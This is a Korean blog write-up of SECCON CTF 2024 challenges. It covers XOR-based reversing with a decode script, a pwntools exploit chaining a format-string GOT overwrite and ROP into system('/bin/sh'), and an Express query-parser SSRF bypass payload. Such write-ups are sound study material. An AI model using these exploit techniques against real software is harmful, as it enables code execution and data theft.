하기의 문제들은 ctf가 끝난 이후에 물어보며 정리한 것들.....
[+] 두서 따윈 없습니다.
rev
upx언패킹에 시간을 날려서 멸망 + 알고보니 언패킹하면 로직이 깨져서 언패킹하지말고 바로 gdb에 물려서 디버깅 + 핸드레이로 로직 파악 후 익스.
문제파일
set $eax=0x31 -> setting eax register
loop문 : RSI와 RDI를 xor 연산.
입력한 값 0x31개의 값에 대해 연산 수행
-key값-
0x7ffff7ff7f14: 0x49f9830000004ae8 0x374c8d4857534475
0x7ffff7ff7f24: 0x39482feb5b565efd 0x803cac5e563273ce
0x7ffff7ff7f34: 0x7e8006778f3c0a72 0x013ce82c06740ffe
0x7ffff7ff7f44: 0x56
xor a b
-> a에 저장한다는게 포인트
key값에 대해 0x31만큼 수행 후
enc값에 대해 다시 0x31만큼 수행
loop문 : RSI와 RDI를 값은지 비교.
b *0x44ee3c 후 부터는 si로 넘어가서 내부 로직 파악.
enc -> 마지막 값은 7d
0x44ee41: 0x1c82cd4f43430fbb 0x682ef87f240c1c25
0x44ee51: 0x567848b43a092dcc 0xdf0fcf6a3a422caa
0x44ee61: 0x17e4371fd04e3a14 0x7c0f8c1c652b3990
0x44ee71: 0x485e00000031b97d
**********직접 핸드레이하면서 복기(정적분석이든 동적분석이든 상관X)************
대강 구현한 것이므로 정상적으로 동작하는 코드는 아님..
#include <stdio.h>
int main() {
len = 0x31
char buf[80];
write(1, "FLAG: ", 6);
if ( read(0, buf, 0x80) != len ){
write(1, "WRONG.\n", 7);
}
key = "49f9830000004ae8 374c8d4857534475
39482feb5b565efd 803cac5e563273ce
7e8006778f3c0a72 013ce82c06740ffe
56"
enc = "1c82cd4f43430fbb 682ef87f240c1c25
567848b43a092dcc df0fcf6a3a422caa
17e4371fd04e3a14 7c0f8c1c652b3990
48"
for (int i = 0; i < len; i++) {
buf = buf ^ key;
}
for (int i = 0; i < len; i++) {
buf == enc;
}
}
exploit.py
# Define data as strings
cal_data = [
"49f9830000004ae8", "374c8d4857534475",
"39482feb5b565efd", "803cac5e563273ce",
"7e8006778f3c0a72", "013ce82c06740ffe", "56"
]
enc_data = [
"1c82cd4f43430fbb", "682ef87f240c1c25",
"567848b43a092dcc", "df0fcf6a3a422caa",
"17e4371fd04e3a14", "7c0f8c1c652b3990", "48"
]
# Convert hex strings to bytes, reverse them, and combine
cal = b""
enc = b""
for t in cal_data:
cal += bytes.fromhex(t)[::-1]
for t in enc_data:
enc += bytes.fromhex(t)[::-1]
# XOR each byte and construct the result
res = ""
for i in range(len(cal)):
res += chr(cal[i] ^ enc[i])
print(res)
결국 key ^ enc가 flag.
flag
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
pwn
해당 문제는 libc를 제공해 주지 않는데, 이러한 경우 docker 구성 후, docker에서 cp로 libc파일을 빼온다.
혹시나 풀어보실 분을 위해 따로 냄겨드림.
code on ida
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("\"What is your name?\", the black cat asked.");
__isoc99_scanf("%23s", format);
printf(format);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", format);
return 0;
}
23글자 입력받고 출력해주는 코드가 전부임.
첫번째 scanf에서 fsb trigger가능
checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
fsb -> printf() overwrite -> bof + rop
일단 쓸 수 있는 가젯은 넉넉했음.
# 소소한 팁 : 디버깅할 때 특정 함수에서 너무 많이 넘겨야된다 싶으면 그냥 `fin`치면 됨.
exploit code
- 페이로드 뒤쪽에 AA를 넣는 이유 : 뒤쪽에 일부러 AA를 넣어서 형식을 깨뜨려 고의적으로 멈추게함. 없으면 입력을 받지 않음;;;; -> 뭔가 테크닉적인 요소인듯..?
- 2번째 printf()를 scanf()로 갈아끼워서 입력 받는 곳간을 한군데 더 확보하고, bof 및 rop를 위한 공간으로 활용한다.
- 첫번째 rop에 ret를 주석 처리한 이유: 디버깅 해보니 movaps에서 멈추면서 stack align이 깨져서
https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/#MOVAPS
- @@ 이후에 send하는 sendlineafter 사용하는 이유 : got의 시작은 4040이라 @@이후에 send 하도록 sendlineafter사용
- 최종 payload 전송 후 dummy값을 보내는 이유 : 일단, 최종 페이로드 초기에는 ret가 없었으며, 디버깅해보니 posix 쪽에서 에러가 터지며 그대로 죽음.(실제로 실행 시에도 그냥 멈춘다), stack이 뭔가 깨져있나 싶어서 혹시 모르므로 ret를 추가.
이후에 디버깅하면서 dummy payload한번 전송하니 쉘이 따임;;;;
-> 요부분은 추후에 디버깅 더 해보고 원인 파악 후 추가 작성 예정
from pwn import *
context.log_level = "DEBUG"
p = process("./chall_patched")
libc = ELF("./libc.so.6")
#gdb.attach(p, gdbscript="source ~/peda/peda.py")
printf_got_addr = 0x404028
scanf_plt_addr = 0x4010a0
puts_plt_addr = 0x401070
puts_got_addr = 0x404018
scanf_got_addr = 0x404030
ppr = 0x401281 # pop rsi ; pop r15 ; ret
pr = 0x401283 # pop rdi ; ret
ret = 0x40101a # ret
main = 0x401196 # main addr
# switch printf() to scanf()
p.sendline("%4198560c%8$lln_" + p64(printf_got_addr)[:6]) # blank : 4198560(4010a0), "_" is padding for align
#trigger BOF - second printf
#rop for puts_func leak - pop rdi; ret -> puts(puts_got_addr);
pl = "A"*40 #format[32] + sfp:8
# pl += p64(ret)
pl += p64(pr) # ret -> pop rdi; ret
pl += p64(puts_got_addr) # this gadget is as rdi
pl += p64(puts_plt_addr) # puts@plt has arg with rdi(puts@got) so the result is puts(puts_got_addr)
pl += p64(main) # return to main
p.recvn(4198560)
p.sendlineafter("@@"," answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " + pl + " warmly.\nAAA")
#p.sendline(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " + pl + " warmly.\n")
# calculate libc
leaked_puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))
log.critical("Leaked puts_addr: 0x{:x}".format(leaked_puts_addr))
libc_base = leaked_puts_addr - libc.sym["puts"]
log.critical("libc base: 0x{:x}".format(libc_base))
# system()
system_addr = libc_base + libc.sym["system"]
log.critical("system addr: 0x{:x}".format(system_addr))
bin_sh_addr = libc_base + next(libc.search("/bin/sh"))
log.critical("/bin/sh addr: 0x{:x}".format(bin_sh_addr))
# rop chaining for system(/bin/sh)
pl = "A" * 40
pl += p64(ret)
pl += p64(pr)
pl += p64(bin_sh_addr)
pl += p64(system_addr)
# send payload
p.sendline(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " + pl + " warmly.\n")
# send dummy data to get shell
p.sendline("DUMMY") # ...?
p.interactive()
remote 환경에서는 확률적으로 터진다( 성공률 꽤 높음 )
flag
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
web
code
import express from "express";
const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;
const app = express();
app.use("/", (req, res, next) => {
if (req.query.flag === undefined) {
const path = "/flag?flag=guess_the_flag";
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});
app.get("/flag", (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});
app.get("/ssrf", async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);
if (url.hostname !== LOCALHOST.hostname) {
res.send("Try harder 1");
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send("Try harder 2");
return;
}
url.pathname = "/flag";
url.searchParams.append("flag", FLAG);
res.send(await fetch(url).then((r) => r.text()));
} catch {
res.status(500).send(":(");
}
});
app.listen(PORT);
app.use("/") - middleware
req.query.flag가 undefined(쿼리 문자열에 flag가 없을 때)인 경우, /flag?flag=guess_the_flag 링크를 반환
req.query.flag가 존재하면 요청을 넘김(next() 호출).
/flag - route
쿼리 파라미터 flag 값이 서버에 저장된 FLAG와 일치하는 경우, 플래그 값을 반환
/ssrf - route
사용자가 요청한 URL을 LOCALHOST 기준으로 파싱
URL의 hostname과 protocol을 검증
hostname이 localhost가 아니면 "Try harder 1" 반환.
protocol이 http가 아니면 "Try harder 2" 반환.
URL의 pathname을 /flag로 변경하고, 쿼리 파라미터 flag=FLAG를 추가, 변경된 URL로 HTTP 요청을 보내고 결과를 반환.
**********************************************
req.query.flag가 정의되어 있으면 모든 / 엔드포인트를 확인하는 미들웨어를 사용한다.
//The important parts are as below
const url = new URL(req.url, LOCALHOST);
url.pathname = "/flag";
url.searchParams.append("flag", FLAG);
request.query.flag를 먼저 Express 프레임워크에서 구문 분석한 다음 나중에 URL 파서에서 다른 방식으로 처리하는 이유
: request.query.flag은 middleware에 존재하며, middleware는 항상 모든 로직에 있어서 먼저 수행된다.
-ref-
https://expressjs.com/en/api.html
취약점 : 요청이 들어오면 Express가 먼저 req.query를 사용해 URL의 쿼리 문자열을 파싱. 그 후, 코드에서 new URL()을 사용해 다시 URL을 파싱하는 과정에서 두 방식의 차이가 발생
query parameter로써 입력받은 flag가 있다면, flag는 아래와 같이 된다.
flag: ["", "FLAG_HERE"]
그러면 당연히 우리는 flag를 모르므로 아래의 로직에서 걸리게 된다.
app.get("/flag", (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});
쿼리문이 아래와 같이 되기 때문이다.
["", "FLAG_HERE"] === "FLAG_HERE"
그렇기에 현시점에서 사용가능한 부분은 아래의 코드이다.
new URL(req.url, LOCALHOST);
우리가 보낸 쿼리문이 flag로써 동작하지 않도록 해야하기 때문이다.
그리고 유의해야할 부분은 동일한 key값이 들어올 시, 뒤쪽의 key값을 참조한다.
https://github.com/ljharb/qs/issues/259
Is there an option to prevent value of the same key being populating into an array? · Issue #259 · ljharb/qs
Hi there, I'm trying to figure out if qs.parse allow us to update the query key value instead of collecting those as an array from the doc, but I can not find anything about that so I'm asking here...
github.com
payload가 `/ssrf?flag[=]=` 이런식으로 구성될 시에, 내부적으로 아래와 같이 인식한다.
req.query = {
flag: { "=": "" }
};
이렇게 될 시 아래의 로직은 우회된다.
req.query.flag === undefined
실제로 확인해보면,
undefiened가 아니다.
이후에, `new URL(req.url, LOCALHOST)`가 실행되며 쿼리문은 내부적으로 아래와 같다.
url.searchParams = {
"flag[": "]="
}
]= 처리 쪽에 대한 ref
https://github.com/ljharb/qs/blob/32e48a2f94f3a433dd69bf011356616c5e81f1a5/lib/parse.js#L99C9-L100C86
새로운 key:value가 형성되며, 다음 구문으로 `url.searchParams.append("flag", FLAG)` 가 동작하는데 append에 의해 추가되어 아래와 같이 된다.
//before
{
"flag[": "]="
}
//after
{
"flag[": "]=",
"flag": "FLAG_VALUE"
}
이후에 내가 이해한 바로는,
`res.send(await fetch(url).then((r) => r.text()));` 이 구문에 의해 url은 아래와 같이 형성된다.
/flag?flag[=]=&flag=FLAG
이제는 일전에 인지하라고 한것처럼 중복된 키로 간주되는 flag가 두개 있는 것이다.
현시점에서 보기엔 두개의 쿼리문이 다르지만, 내부적으로 깠을 때,
flag: {
"=": ""
}
이 형태이다.
그러므로,
flag: {
"=": ""
}
flag: FLAG
이렇게 두개가 있는 형태이다.
풀었던 분께 추후에 여쭤보면서 사진을 받았는데 나와 같은 형태이다.
이 상태에서 `flag: FLAG`가 쓰이는 것이므로, flag를 얻기 위한 최종 logic은 참이되고,
req.query.flag === FLAG
FLAG가 나오게 된다.
flag
'CTF' 카테고리의 다른 글
4T$ CTF 2024 (0) | 2024.11.11 |
---|---|
Hero CTF 2024 (0) | 2024.10.27 |
IRON CTF 2024 (11) | 2024.10.06 |
BuckeyeCTF 2024 (0) | 2024.09.29 |
ASIS CTF 2024 (0) | 2024.09.23 |